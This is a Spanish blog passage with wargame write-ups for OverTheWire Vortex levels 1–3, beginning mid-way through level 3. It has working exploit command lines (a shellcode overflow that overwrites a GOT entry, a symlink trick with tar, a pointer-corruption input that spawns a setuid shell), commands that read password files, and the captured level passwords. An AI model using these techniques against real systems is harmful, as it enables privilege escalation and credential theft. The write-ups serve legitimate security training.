0xffffd690:    0x0e46890a    0xf189f389    0x310ac180    0xcd0bb0f6
0xffffd6a0:    0xffcee880    0x622fffff    0x622f6e69    0x41687361
0xffffd6b0:    0x42424242    0x43434343    0x41434143    0x08048366
0xffffd6c0:    0x08048400    0x00000000    0xffffd748    0xf7e89e37
0xffffd6d0:    0x00000002    0xffffd774    0xffffd780    0xf7fdf420
0xffffd6e0:    0xffffffff    0xf7ffcff4

(gdb) x/xw 0x08048366
0x8048366 <__do_global_dtors_aux+22>:    0x08049540
(gdb) x/xw 0x08049540
0x8049540 <__DTOR_END__>:    0x00000000


Todo lo rojo es el buffer en sí mismo, en verte tmp y en azul lpp. Hemos inspeccionado la pila justo antes y después del strcpy(), vemos que efectivamente hemos sobrescrito lpp con el valor que queríamos, una dirección de memoria 0x0804XXXX cuyo contenido contiene otra dirección, ésta a su vez apunta a 0x08049540 (la primera función en la lista .dtors).

Ahora si todo funciona como pensamos, después de la ejecución del código que juega con *lpp, tmp, **lpp y &buf, en 0x08049540 debería pasar de contener 0x00000000 a contener la dirección del buffer (0xffffd638).

(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08048460 in main ()


Hemos obtenido SIGSEGV, ¿por qué?. Veámoslo.

(gdb) x/i $eip
=> 0x8048460 <main+140>:    mov    %edx,(%eax)
(gdb) info register
eax            0x8048366    134513510
ecx            0x0    0
edx            0x8049540    134518080
ebx            0xf7fd2ff4    -134402060
esp            0xffffd620    0xffffd620
ebp            0xffffd6c8    0xffffd6c8
esi            0x0    0
edi            0x0    0
eip            0x8048460    0x8048460 <main+140>
eflags         0x10246    [ PF ZF IF RF ]
cs             0x23    35
ss             0x2b    43
ds             0x2b    43
es             0x2b    43
fs             0x0     0
gs             0x63    99


Aquí vemos lo que está pasando, se ha intentado escribir en 0x0848366 y no se puede, probablemente porque esa sección sea de sólo lectura. Volvamos a mirar las secciones:

(gdb) maintenance info sections
Exec file:
    `/vortex/vortex3', file type elf32-i386.
    ... SNIP ...
    0x8048320->0x804850c at 0x00000320: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
    ... SNIP ...

Bueno, ahí tenemos el motivo, la dirección donde intentamos escribir está en la sección .text que es de sólo lectura. Así que de las 3 direcciones que obtuvimos que contenian el valor 0x08049540 no nos vale cualquiera, necesitamos uno donde podamos escribir. Nos quedan entonces 2 posibilidades más (0x08048fb0 y 0x08049366), veamos dónde están:

(gdb) maintenance info sections
Exec file:
    `/vortex/vortex3', file type elf32-i386.
    0x8048114->0x8048127 at 0x00000114: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048128->0x8048148 at 0x00000128: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048148->0x804816c at 0x00000148: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804816c->0x804818c at 0x0000016c: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804818c->0x80481ec at 0x0000018c: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80481ec->0x804823d at 0x000001ec: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804823e->0x804824a at 0x0000023e: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804824c->0x804826c at 0x0000024c: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804826c->0x8048274 at 0x0000026c: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048274->0x8048294 at 0x00000274: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048294->0x80482c4 at 0x00000294: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x80482c4->0x8048314 at 0x000002c4: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8048320->0x804850c at 0x00000320: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x804850c->0x8048528 at 0x0000050c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8048528->0x8048530 at 0x00000528: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048530->0x8048534 at 0x00000530: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8049534->0x804953c at 0x00000534: .ctors ALLOC LOAD DATA HAS_CONTENTS
    0x804953c->0x8049544 at 0x0000053c: .dtors ALLOC LOAD DATA HAS_CONTENTS
    0x8049544->0x8049548 at 0x00000544: .jcr ALLOC LOAD DATA HAS_CONTENTS
    0x8049548->0x8049610 at 0x00000548: .dynamic ALLOC LOAD DATA HAS_CONTENTS
    0x8049610->0x8049614 at 0x00000610: .got ALLOC LOAD DATA HAS_CONTENTS
    0x8049614->0x8049630 at 0x00000614: .got.plt ALLOC LOAD DATA HAS_CONTENTS
    0x8049630->0x8049640 at 0x00000630: .data ALLOC LOAD DATA HAS_CONTENTS
    0x8049640->0x8049648 at 0x00000640: .bss ALLOC
    0x0000->0x0054 at 0x00000640: .comment READONLY HAS_CONTENTS


Podemos ver que ambas direcciones no caen en ninguna de las secciones.

Juro por dios (¡o por cualquier otro personaje de ficción! digamos... ¡superman!) que he gastado bastantes horas intentando averiguar por qué esto es así, por qué hay direcciones de memoria accesibles que sin embargo no están en ninguna sección e intentar ver los permisos exactos de esas direcciones, pero no voy a mentir no lo he logrado y no sé la respuesta... aún. Ya probaré algún día a trapetear por el manejo de memoria del kernel a ver si encuentro algo que me aclare esto. Muchas veces veo artículos, noticias y demás documentos donde el autor, por no poder explicar algo lo que hace es rodearlo y no tocar el tema y de esta forma queda más guay y parece que controla todo hasta el último detalle, pues que les den por culo en su ignorancia. Prefiero reconocer hasta dónde llegan mis conocimientos y no llevar a error al lector, que quedar como algo que no soy (un pro) y que la gente se lo crea. En fin, después del momento "un día de furia" volvamos a lo nuestro. Por ahora vamos a tener que hacer un acto de fé (bleg!).

Visto lo visto vamos a probar a ciegas otra de las direcciones que tenemos, a ver que pasa.

$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) br *main+149
Breakpoint 1 at 0x8048469
(gdb) r "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/shellcode\` . "COCO" . "\x66\x93\x04\x08"'`"
Starting program: /vortex/vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/shellcode\` . "COCO" . "\x66\x93\x04\x08"'`"

Breakpoint 1, 0x08048469 in main ()(gdb) x/3x 0x0804953c
0x804953c <__DTOR_LIST__>:    0xffffffff    0xffffd638    0x00000000

(gdb) x/5i 0xffffd638
   0xffffd638:    nop
   0xffffd639:    nop
   0xffffd63a:    nop
   0xffffd63b:    nop
   0xffffd63c:    nop



Podemos ver que ahora sí hemos conseguido meter la dirección de buf dentro de la lista de dtors y que además ésta mantiene el formato (comienzo por 0xffffffff y fin con 0x00000000). Con esto queda demostrado que efectivamente sí podemos escribir en esa memoria. Ahora sólo quedaría terminar la ejecución del programa y que se ejecute nuestra shellcode.

(gdb) cont
Continuing.

Program exited normally.


?!?!?!, ¿qué está pasando aquí?, ¿por qué no se ejecuta nuestra shellcode?. Tal vez por este comportamiento se advierte en el enunciado que no se puede explotar con dtors, pero como hemos visto no es porque no se pueda escribir allí. Para comprenderlo tenemos que mirar los fuentes del gcc de la versión con que se compiló el binario. No sé si se puede averiguar que versión concreta del compilador se usó así que supondremos que se usó la versión que hay instalada en el sistema.

$ gcc --version
gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


Nos bajamos los fuentes de la versión de alguno de los repositorios o con apt-get source y buscamos dentro de los mismos la parte que corresponde a la ejecución de dtors. Para agilizarlo un poco comento que la función que se encarga de eso es __do_global_dtor_aux(). Sabiendo esto y grepeando un poco nos daremos cuenta que se encuentra en crtstuff.c, veámosla.

static void __attribute__((used))
__do_global_dtors_aux (void)
{
  ... SNIP ...
#elif defined(HIDDEN_DTOR_LIST_END)
  {
    /* Safer version that makes sure only .dtors function pointers are
       called even if the static variable is maliciously changed.  */

    extern func_ptr __DTOR_END__[] __attribute__((visibility ("hidden")));
    static size_t dtor_idx;
    const size_t max_idx = __DTOR_END__ - __DTOR_LIST__ - 1;
    func_ptr f;

    while (dtor_idx < max_idx)
      {
    f = __DTOR_LIST__[++dtor_idx];
    f ();
      }
  }

   ... SNIP ...

Los propios comentarios nos explican qué está pasando, gracias por comentar el código :). Báscamente se comprueba el tamaño de la lista, esto provoca que cómo al compilar había 0 funciones dtors pues no se ejecuta ninguna y aunque metemos nuestra shellcode ahí no se llega a entrar en el while. Por otro lado aunque no lo he comprobado sospecho que, si hubiera funciones en la lista, podríamos sobrescribirlas con la dirección de nuestra shellcode y conseguiríamos la ejecución.

Resuelta la duda de por qué añadiendo la dirección de la shellcode a dtors no se ejecuta vamos a ver cómo conseguirlo. En esta ocasión vamos a usar el mismo concepto pero en otro lado. Vamos a sobrescribir un puntero a una función de forma que cuando esa función sea llamada en verdad se llame a nuestra shellcode. ¿Y dónde está ese puntero a función? Pues en la GOT (Global Offset Table). Para hacer la carga de los programas más rápida, cuando un programa es cargado en memoria el enlazador no carga todas las bibliotecas que necesita el programa ya que pueden ser muchas y esto provoca una carga lenta y un consumo de memoria alto, más teniendo en cuenta que a lo mejor el programa en esa ejecución concreta no llame a todas las funciones, cosa altamente probable ya que en la ejecución de un programa no es normal que éste recorra todo su código. Lo que se hace es hacer que las llamadas a funciones externas llamen realmente a pequeñas funciones en la GOT y de ahí a la función real. Veamos cómo son estas pequeñas funciones en la sección .plt.

$ objdump -j .plt -d vortex3

vortex3:     file format elf32-i386


Disassembly of section .plt:

080482c4 <__gmon_start__@plt-0x10>:
 80482c4:    ff 35 18 96 04 08        pushl  0x8049618
 80482ca:    ff 25 1c 96 04 08        jmp    *0x804961c
 80482d0:    00 00                    add    %al,(%eax)
    ...

080482d4 <__gmon_start__@plt>:
 80482d4:    ff 25 20 96 04 08        jmp    *0x8049620
 80482da:    68 00 00 00 00           push   $0x0
 80482df:    e9 e0 ff ff ff           jmp    80482c4 <_init+0x30>

080482e4 <__libc_start_main@plt>:
 80482e4:    ff 25 24 96 04 08        jmp    *0x8049624
 80482ea:    68 08 00 00 00           push   $0x8
 80482ef:    e9 d0 ff ff ff           jmp    80482c4 <_init+0x30>

080482f4 <strcpy@plt>:
 80482f4:    ff 25 28 96 04 08        jmp    *0x8049628
 80482fa:    68 10 00 00 00           push   $0x10
 80482ff:    e9 c0 ff ff ff           jmp    80482c4 <_init+0x30>

08048304 <exit@plt>:
 8048304:    ff 25 2c 96 04 08        jmp    *0x804962c
 804830a:    68 18 00 00 00           push   $0x18
 804830f:    e9 b0 ff ff ff           jmp    80482c4 <_init+0x30>


Vemos que las funciones en plt tienen al principio un salto incondicional hacia la dirección contenida en esos punteros. Por ejemplo, para llamar a la función strcpy() se salta a la dirección contenida en 0x08049628. ¿Qué es lo que vamos a hacer?, vamos a sobrescribir alguna de las funciones que se ejecuten después del código que pone la dirección de buf en la doble indirección (que se ejecute antes no vale porque cuando se llamara a dicha función aún no se habría echo el cambio de punteros). La función que tiene todas las papeletas es exit(). Lo que necesitamos es buscar alguna dirección de memoria en la que se pueda escribir y que apunte a 0x0804962c.

$ gdb -q vortex3
Reading symbols from /vortex/vortex3...(no debugging symbols found)...done.
(gdb) br main
Breakpoint 1 at 0x80483d7
(gdb) r
Starting program: /vortex/vortex3

Breakpoint 1, 0x080483d7 in main ()
(gdb) find 0x08048114, 0x08049640, (int)0x0804962c
0x804828c
0x8048306 <exit@plt+2>
0x804928c
0x8049306
4 patterns found.


De nuevo tengo el mismo problema de antes, algunas de esas dirección están misteriosamente fuera de los maps del proceso. Probaremos con la última, que se parece mucho a la que elegimos la última vez.

(gdb) r "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "HOLA" . "\x06\x93\x04\x08"'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /vortex/vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "HOLA" . "\x06\x93\x04\x08"'`"

Breakpoint 1, 0x080483d7 in main ()
(gdb) cont
Continuing.
process 9914 is executing new program: /proc/9914/exe
/proc/9914/exe: Permission denied.


Ahora sí está intentado ejecutar la shellcode :). Hagamos la explotación desde fuera del gdb.

$ ./vortex3 "`perl -e 'print "\x90"x(128-70) . \`cat /tmp/oleshellcode\` . "HOLA" . "\x06\x93\x04\x08"'`"
$ id
uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)

$ cat /etc/vortex_pass/vortex4
2YmgK1=jw


Y ya tenemos lo que queríamos :). Nos ha costado un poco más de la cuenta porque la gente de gcc nos lo ha puesto un poco más difícil, pero conseguimos sobreponernos :).

Saludos.

jueves, 28 de febrero de 2013

Solución al reto overthewire vortex level 2

En este caso lo que tenemos es el siguiente enunciado:
Level Goal:
Create a special tar file
Helpful Reading Material
GNU tar manual
Code listing (vortex2.c)
 

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>


int main(int argc, char **argv)
{
        char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar",
                         argv[1], argv[2], argv[3] 
                       };
        execv(args[0], args);
}
Bueno, se trata de conocer un poco cómo funciona el programa tar, ya sabes, el empaquetador de archivos. Nuestro objetivo es coger el fichero /etc/vortex_pass/vortex3, el primer intento que podríamos hacer es éste:

/tmp$ /vortex/vortex2 /etc/vortex_pass/vortex3
/bin/tar: Removing leading `/' from member names

/tmp$ tar xf '/tmp/ownership.$$.tar'
tar: etc/vortex_pass: Cannot mkdir: Permission denied
tar: etc/vortex_pass/vortex3: Cannot open: No such file or directory
tar: Exiting with failure status due to previous errors


Como es lo más obvio y directo era de esperar que no funcionara. Dentro del tar tenemos la estructura etc/vortex_pass/vortex3 pero falla en la extracción debido a que en /tmp (la carpeta donde realizo todo ya que es en la que tengo permisos de escritura) ya existe una carpeta etc/vortex_pass.

Vamos a intentar ahora un truquillo. Vamos a hacer un enlace al fichero y tararearlo (verbo tararear, meter cosas en un tar).

/tmp$ ln -s /etc/vortex_pass/vortex3 fichero_to_loco
/tmp$ ls -l fichero_to_loco
lrwxrwxrwx 1 vortex2 vortex2 24 2013-02-28 13:35 fichero_to_loco -> /etc/vortex_pass/vortex3


Ahora lo tarareamos y descomprimimos.

/tmp$ /vortex/vortex2 fichero_to_loco
vortex2@melissa:/tmp$ rm -f fichero_to_loco
vortex2@melissa:/tmp$ tar xf 'ownership.$$.tar'
vortex2@melissa:/tmp$ cat fichero_to_loco
cat: fichero_to_loco: Permission denied
vortex2@melissa:/tmp$ ls -l fichero_to_loco
lrwxrwxrwx 1 vortex2 vortex2 24 2013-02-28 13:35 fichero_to_loco -> /etc/vortex_pass/vortex3


Vaya por dios, lo que se ha guardado no es el fichero en sí mismo sino el enlace tal cual. Leyendo el man del tar encontraremos lo siguiente:

-h, --dereference
           follow symlinks; archive and dump the files they point to


Bueno, ya con esto casi estamos :).

/tmp$ /vortex/vortex2 -h fichero_to_loco
/tmp$ tar xf 'ownership.$$.tar'
/tmp$ cat fichero_to_loco
64ncXTvx#


Y ya está, al siguiente nivel...

Saludos.

Solución al reto overthewire vortex level 1

Vamos hoy con el reto the overthewire vortex nivel 1. Sigue siendo principalmente un reto de reversing y de comprensión de sistemas (GNU/Linux concretamente).

El enunciado:
Canary Values
We are looking for a specific value in ptr. You may need to consider how bash handles EOF..
Reading Material
Smashing the Stack for Fun and Profit
Code listing (vortex1.c)
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) {
                    setresuid(geteuid(), geteuid(), geteuid());
                    execlp("/bin/sh", "sh", "-i", NULL); 
                }

void print(unsigned char *buf, int len)
{
        int i;

        printf("[ ");
        for(i=0; i < len; i++) printf("%x ", buf[i]); 
        printf(" ]\n");
}

int main()
{
        unsigned char buf[512];
        unsigned char *ptr = buf + (sizeof(buf)/2);
        unsigned int x;

        while((x = getchar()) != EOF) {
                switch(x) {
                        case '\n': 
                          print(buf, sizeof(buf)); 
                           continue; 
                           break;
                        case '\\': 
                           ptr--; 
                           break; 
                        default: 
                           e(); 
                           if(ptr > buf + sizeof(buf)) 
                               continue; 
                           ptr++[0] = x; 
                           break;
                }
        }
        printf("All done\n");
}
Aunque que se vea un poco mal he decidido indentar un poco el código para que se pueda analizar mejor (por cierto, el break en el case '\n' no hace falta y tampoco el del default).

El código hace lo siguiente:
  • Crear un buffer de 512 bytes (buf).
  • Poner el puntero ptr apuntando en medio del buffer (buf[256] concretamente).
  • Empezar a leer caracteres de la entrada estandar y según qué caracter sea hacer una de estas 3 acciones:
    • Si es un salto de línea imprime el buffer.
    • Si es una contrabarra '\' decrementa ptr.
    • En otro caso realiza las siguientes acciones:
      • Comprueba si el byte mas significativo de ptr es \xca y en tal caso ejecuta una shell (esto lo hace la macro e).
      • Comprueba si ptr apunta más allá de la zona de memoria de buf, en cuyo caso no se hace nada más y se continua con la lectura de caracteres.
      • Se pone el byte leído en donde apunta ptr y se lo incrementa para apuntar al siguiente byte.
Aclaración, la llamada a setreuid() que se ve es típica en programas de wargames que tienen el SUID activo, es necesaria hacerla antes de invocar la shell para que ésta tenga los permisos del dueño del programa y no del que ejecuta el programa.

Bueno, modificar la dirección de retorno de main() para que salte a la zona de código que contiene el spawneo de la shell lo descartamos porque el código comprueba si ptr si se apunta más alla de buf (y más allá de buf tenemos la dirección de retorno como sabemos... que no sabemos?! goto here;).

Lo que vamos a hacer es que ptr contenga en su byte más significativo el valor \xca y así conseguiremos ejecutar la shell. Primero nos conectamos al server con el usuario y contraseña conseguidos en el nivel anterior. Después de buscar un poco veremos que en /etc/vortex_pass/ hay una serie de ficheros donde presumiblemente estarán las contraseñas de cada nivel. En /vortex/ por otro lado tenemos los binarios y como era de esperar tienen los SUID activos, los dueños son el usuario del siguiente nivel y bla bla bla. Típica configuración de wargame.

$ ls -l /vortex/vortex1
-r-sr-x--- 1 vortex2 vortex1 7354 2012-11-20 17:02 /vortex/vortex1


Aquí tenemos nuestro binario. Ahora nos toca ponernos manos a la masa. Lo primero que vamos a hacer es ver dónde andan en memoria cada una de las variables que usa el programa. It's gdb time!:

$ gdb -q /vortex/vortex1
Reading symbols from /vortex/vortex1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048557 <+0>:     push   %ebp
   0x08048558 <+1>:     mov    %esp,%ebp
   0x0804855a <+3>:     and    $0xfffffff0,%esp
   0x0804855d <+6>:     push   %esi
   0x0804855e <+7>:     push   %ebx
   0x0804855f <+8>:     sub    $0x228,%esp
   0x08048565 <+14>:    mov    %gs:0x14,%eax
   0x0804856b <+20>:    mov    %eax,0x21c(%esp)
   0x08048572 <+27>:    xor    %eax,%eax
   0x08048574 <+29>:    lea    0x1c(%esp),%eax
   0x08048578 <+33>:    add    $0x100,%eax
   0x0804857d <+38>:    mov    %eax,0x18(%esp)
   0x08048581 <+42>:    jmp    0x8048625 <main+206>
   0x08048586 <+47>:    mov    0x14(%esp),%eax
   0x0804858a <+51>:    cmp    $0xa,%eax
   0x0804858d <+54>:    je     0x8048596 <main+63>
   0x0804858f <+56>:    cmp    $0x5c,%eax

      ...

He quitado un buen trozo de código porque ahora mismo no nos interesa. De ahí podemos sacar la información que buscamos. Yo en concreto me he centrado en saber si ptr está antes o después de buf. Se puede pensar que como está declarado después pues entonces estará "después" en memoria (esto en x86 significa en posiciones de memoria más bajas). El comportamiento normal es así pero entre ese código y ese binario hay todo un proceso de compilación por medio que puede haber hecho infinitas barbaridades (optimización y tal) así que lo correcto es no suponerlo y comprobarlo.

Como se puede ver he marcado con distintos colores 3 accesos a memoria, a saber:
  • Lo rojo, 0x1c(%esp) es el comienzo de buf, de ahí a 511 bytes más abajo es todo el espacio de buf.
  • Lo verde, 0x18(%esp) es ptr. Nótese como se inicializa a buf (ojo al lea, Load Effective Address) más 0x100 = 256 = sizeof(buf)/2.
  • Lo azul, 0x14(%esp) es x.
Ahora ya sabemos que buf está "debajo" de ptr (yo imagino el espacio de memoria de los procesos de esta manera, lo siento si te confunde, mi consejo es que tengas papel al lado y lo pintes). Aún así vamos a ver la memoria y pintarla un poco que siempre ayuda.

(gdb) br *main+42
Breakpoint 1 at 0x8048581
(gdb) r
Starting program: /vortex/vortex1

Breakpoint 1, 0x08048581 in main ()
(gdb) x/20wx $esp
0xffffd520:     0xf7fe05e6      0xf7ff5051      0x00000000      0x00000000
0xffffd530:     0xf7ffd53c      0x00000000      0xffffd63c      0xf7fdee10
0xffffd540:     0xf7ffcff4      0x00000010      0x00000000      0x00000000
0xffffd550:     0xffffd654      0x00000008      0xf7ffd53c      0xf7fe05c9
0xffffd560:     0xf7fd7000      0xf7ff51b8      0x00000070      0xf7ffcff4


Se ve más claro ahora, ¿no?. Pues bien, lo que vamos a hacer es empezar a darle contrabarras al programa hasta que ptr apunte al byte que he pintado de violeta (uno de sus propios bytes). ¿Cuántas contrabarras hacen falta?. 0xffffd63c - 0xffffd53b = 257. Pues ahí está, con 257 contrabarras ptr apuntará a su byte más significativo, lo siguiente que le daremos será el byte \xca para que lo ponga en la posición que queremos. Finalmente le daremos algún byte más distinto de salto de línea y de la contrabarra, de forma que se ejecute e().

(gdb) quit
A debugging session is active.

        Inferior 1 [process 23961] will be killed.

Quit anyway? (y or n) y
vortex1@melissa:/vortex$ perl -e 'print "\\"x257 . "\xca1"' > /tmp/ole
vortex1@melissa:/vortex$ gdb -q /vortex/vortex1

Reading symbols from /vortex/vortex1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x080485e6 <+143>:   movl   $0x0,0x8(%esp)
   0x080485ee <+151>:   movl   $0x804873a,0x4(%esp)
   0x080485f6 <+159>:   movl   $0x804873d,(%esp)
   0x080485fd <+166>:   call   0x8048400 <execlp@plt>
   0x08048602 <+171>:   lea    0x1c(%esp),%eax
   0x08048606 <+175>:   add    $0x200,%eax
   0x0804860b <+180>:   cmp    0x18(%esp),%eax
   ...
(gdb) br *main+166
Breakpoint 1 at 0x80485fd
(gdb) r < /tmp/ole
Starting program: /vortex/vortex1 < /tmp/ole

Breakpoint 1, 0x080485fd in main ()
(gdb) x/20xw $esp
0xffffd520:     0x0804873d      0x0804873a      0x00000000      0x00000000
0xffffd530:     0xf7ffd53c      0x00000031      0xcaffd53c      0xf7fdee10
0xffffd540:     0xf7ffcff4      0x00000010      0x00000000      0x00000000
0xffffd550:     0xffffd654      0x00000008      0xf7ffd53c      0xf7fe05c9
0xffffd560:     0xf7fd7000      0xf7ff51b8      0x00000070      0xf7ffcff4


Lo primero a comentar es que para pasarle los bytes al programa he decidido meterlos todos en un fichero (/tmp/ole) usando perl. Podemos ver que hay 257 contrabarras, luego el byte \xca y un byte más, en este caso un uno. Para verlo un poco más in situ lo vamos a ejecutar depurando. Hemos puesto un breakpoint justo en donde se ejecuta la shell (la llamda a execlp()), si todo funciona correctamente debería llegar a ahí. Más adelante vemos que llega y aprovechamos para ver la memoria y confirmar lo que pensabamos. Vemos que el byte más significativo de ptr es \xca y por lo tanto se va a ejecutar la shell. Continuamos.

(gdb) cont
Continuing.
process 27279 is executing new program: /proc/27279/exe
/proc/27279/exe: Permission denied.


¿Qué está pasando aquí?. Como que se intenta ejecutar la shell pero no puede por permisos... cosas raras, probemos desde fuera de gdb.

$ ./vortex1 < /tmp/ole
$

Ahora no tenemos ningún error pero no nos está saltando la shell, ¿por qué?. Bueno, lo cierto es que sí está siendo ejecutada pero automáticamente termina. Este comportamiento es debido a que al ejecutarla la entrada estandar está vacía (el último caracter fué '1'), las shells cuando encuentran EOF en la entrada terminan (es el comportamiento por defecto). Lo lógico sería entonces seguirle dándole entrada...

$ perl -e 'print "\\"x257 . "\xca1" . "cat /etc/vortex_pass/vortex2\n"' | ./vortex1
$

La idea es que a la shell le llegué el comando y nos muestre la contraseña del usuario vortex2, pero algo está pasando y no se está ejecutando. Veamos que ocurre.

$ strace -e trace=desc,process ./vortex1 < /tmp/ole
execve("./vortex1", ["./vortex1"], [/* 20 vars */]) = 0
[ Process PID=7298 runs in 32 bit mode. ]
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=21369, ...}) = 0
close(3)                                = 0
open("/lib32/libc.so.6", O_RDONLY)      = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220o\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1446468, ...}) = 0
close(3)                                = 0
fstat64(0, {st_mode=S_IFREG|0644, st_size=288, ...}) = 0
read(0, "\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"..., 4096) = 288
execve("/bin/sh", ["sh"], [/* 30 vars */]) = 0
[ Process PID=7298 runs in 64 bit mode. ]
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=21369, ...}) = 0
close(3)                                = 0
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\360\1\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1654504, ...}) = 0
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7ffff7ff0720) = 0
ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fffffffe480) = -1 ENOTTY (Inappropriate ioctl for device)
read(0, "", 8192)                       = 0
exit_group(0)


Strace (system call trace) captura todas las funciones que realizan una llamada al sistema y nos informa de ellas. En este caso concreto he restringido sólo a aquellas llamadas que usen descriptores de ficheros o que sean de manejo de procesos (voy a mostrar los reads y el exec).

En negrita he marcado lo más interesante, a parte del comando en sí mismo, el read que pilla la entrada que le damos. Aquí nos debe llamar la atención que, a pesar de que el programa está ejecutando muchas veces la funcion getchar(), sólo vemos una única llamada a read(). Getchar() no es más que una de tantas funciones de la libc que acaba internamente llamando a la función read(), que es la que realmente hace la llamada al sistema. Ese es el motivo de por qué no está funcionando nuestra técnica. Con el tema del buffering que realiza read(), automáticamente está cogiendo las 257 contrabarras, el byte \xca, el 1 y todo el comando que le pasamos. Según el programa vaya ejecutando getchar() la libc le irá dando los bytes que ya había cogido previamente. El problema se da junto con el comportamiento de execve(), extraigo el siguiente texto directamente del manual de execve:

All process attributes are preserved during an execve(), except the following:
...
*      Memory mappings are not preserved (mmap(2)).
...

Esto quiere decir que cuando se ejecuta execve() todas las cosas que tenía mapeadas en memoria el proceso desaparecen y así es precisamente cómo funciona la carga de bibliotecas en el espacio de memoria de un proceso, mediante el mapeo de las mismas. Es la libc la que tiene el buffer donde read() puso todos los bytes leídos (exploit y payload) así que durante execve() esa zona es desechada y por eso la shell cuando intenta leer otra vez (el último read que está marcado) no encuentra nada en la entrada estandar.

¿Workaround para esto? Muy fácil, metamos 4096 bytes antes de meter el comando, de esta forma el primer read() no cogerá el comando, se ejecutará el execve() y el segundo read() encontrará el comando.

$ perl -e 'print "\\"x257 . "\xca" . "1"x3838 . "cat /etc/vortex_pass/vortex2\n"' > /tmp/ole
$ ./vortex1 < /tmp/ole
23anbT\rE


Y efectivamente ahora sí se nos muestra el contenido de /etc/vortex_pass/vortex2 :).

Hay otra forma de hacerlo, bash tiene una variable de entorno llamada IGNOREEOF que establece la cantidad de EOF que tiene que encontrar en su entrada estandar antes de finalizar. Se puede leer más sobre ella en el manual. Sin embargo hay un problema, el programa está ejecutando /bin/sh:

$ file /bin/sh
/bin/sh: symbolic link to `dash'


Así que la pista que nos daban al principio (you may need to consider how bash handles EOF) no está muy acertada xD. Si leemos el man de dash veremos que considera esa variable de entorno, aunque sin embargo tiene una opción interesante.

-I ignoreeof     Ignore EOF's from input when interactive.

Pero esto es un parámetro que hay que pasarle a execve(). Durante medio segundo pensé en probar pasarle un porrón de contrabarras hasta llegar a la zona de memoria donde se encuentran los parámetros de execve():

$ objdump -j .rodata -s vortex1

vortex1:     file format elf32-i386

Contents of section .rodata:
 8048728 03000000 01000200 5b200025 78200020  ........[ .%x .
 8048738 5d007368 002f6269 6e2f7368 00416c6c  ].sh./bin/sh.All
 8048748 20646f6e 6500                         done.


Y una vez ahí modificar la memoria y poner el "-I" :D, pero luego recordé que esto es la zona .rodata y lo de .ro es por algo xD (read-only) así que lo que conseguiría es un bonito SIGSEGV.

Saludos.